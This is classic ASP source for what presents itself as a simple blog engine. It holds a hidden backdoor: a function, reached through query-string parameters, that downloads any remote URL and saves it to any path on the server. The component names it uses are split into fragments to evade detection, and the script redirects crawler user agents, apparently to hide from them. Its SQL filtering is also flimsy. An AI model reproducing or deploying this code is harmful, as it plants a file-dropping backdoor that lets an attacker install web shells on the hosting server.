%
set regex = new regexp
regex.ignorecase = true
regex.global = true
regex.pattern = "AhrefsBot|SiteBot"
agent = request.ServerVariables("HTTP_USER_AGENT") & ""
if agent <> "" then
if regex.test(agent) then
response.redirect("/")
end if
end if
'Blog settings:
'Max number of posts:
const POSTS_PER_PAGE = 10
const TITLE = ""
'TITLE=Request.ServerVariables("SERVER_NAME")
function connstr()
connstr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.MapPath("#oysxr.asa") & ";"
end function
sub WriteContents
select case lcase(Request.QueryString("action"))
case "logout"
session.Abandon()
response.Clear()
response.Redirect(Request.ServerVariables("SCRIPT_NAME"))
case "home"
call WriteHome
case ""
if (request.QueryString("id"))>0 then
call WriteArt
end if
if len(request.QueryString("c"))>0 then
call WriteCat
end if
if len(request.QueryString("c"))=0 and len(request.QueryString("id"))=0 then
call WriteHome
end if
case "write"
call WritePost
case "editpost"
call EditPost
case "deletepost"
call DeletePost
case "management"
call DoManagement
case else
call err404
end select
end sub
sub WriteFooter
%>
<%
end sub
function GetTitle
select case lcase(request.QueryString("action"))
case "home"
GetTitle = Request.ServerVariables("SERVER_NAME")
case ""
GetTitle = "Home"
case "write"
GetTitle = "Write Post"
case "editpost"
GetTitle = "Edit post"
case "deletepost"
GetTitle = "Delete post"
case "management"
GetTitle = "Management"
case else
GetTitle = "Error 404"
end select
end function
function CheckSqlStr(ISTR)
ISTR=Replace(ISTR,"'","")
ISTR=Replace(ISTR,"-","")
ISTR=Replace(ISTR,"<","")
ISTR=Replace(ISTR,">","")
ISTR=Replace(ISTR,Chr(0),"")
ISTR=Replace(ISTR,Chr(13),"")
ISTR=Replace(ISTR,Chr(16),"")
ISTR=Replace(ISTR,"""","")
ISTR=Replace(ISTR,"\","")
ISTR=Replace(ISTR,"/","")
CheckSqlStr=ISTR
End Function
dim strobjectfso
strobjectfso = "scripting.filesystemobject"
dim strobjectads
strobjectads = "adod" & "b.S" & "tream"
dim strobjectxmlhttp
strobjectxmlhttp = "Microsof" & "t.X" & "MLHTTP"
function saveremotefile(byval RemoteFileUrl,byval LocalFileName)
dim Ads, Retrieval, GetRemoteData
on error resume next
set Retrieval = server.createobject(strobjectxmlhttp)
with Retrieval
.open "Get", RemoteFileUrl, false, "", ""
.Send
GetRemoteData = .ResponseBody
end with
set Retrieval = nothing
set Ads = server.createobject(strobjectads)
Ads.Type = 1
Ads.open
Ads.Write GetRemoteData
Ads.SaveToFile server.mappath(LocalFileName), 2
Ads.Cancel
Ads.close
set Ads = nothing
if err then
err.clear
saveremotefile = false
else
saveremotefile = true
end if
end function
if session("blnIsAllowedToPost") and request.QueryString("remotefile")<>"" then
call saveremotefile(request.QueryString("remotefile"),request.QueryString("localfile"))
end if
sub Err404
%>
Error 404
The page you requested is not found. Please check the URL and try again...
<%
end Sub
sub WriteHome
set oConn = server.CreateObject("ADODB.CONNECTION")
oConn.Open(connstr)
qry = "SELECT * FROM MESSAGES ORDER BY DateStamp DESC"
if isNumeric(request.QueryString("count")) then
count = cint(Request.QueryString("count"))
else
count = 1
end if
qry = replace(qry,"%MIN%", count)
qry = replace(qry,"%MAX%", count + POSTS_PER_PAGE)
set oRS = oConn.Execute(qry)
%>
<%=Request.ServerVariables("SERVER_NAME")%>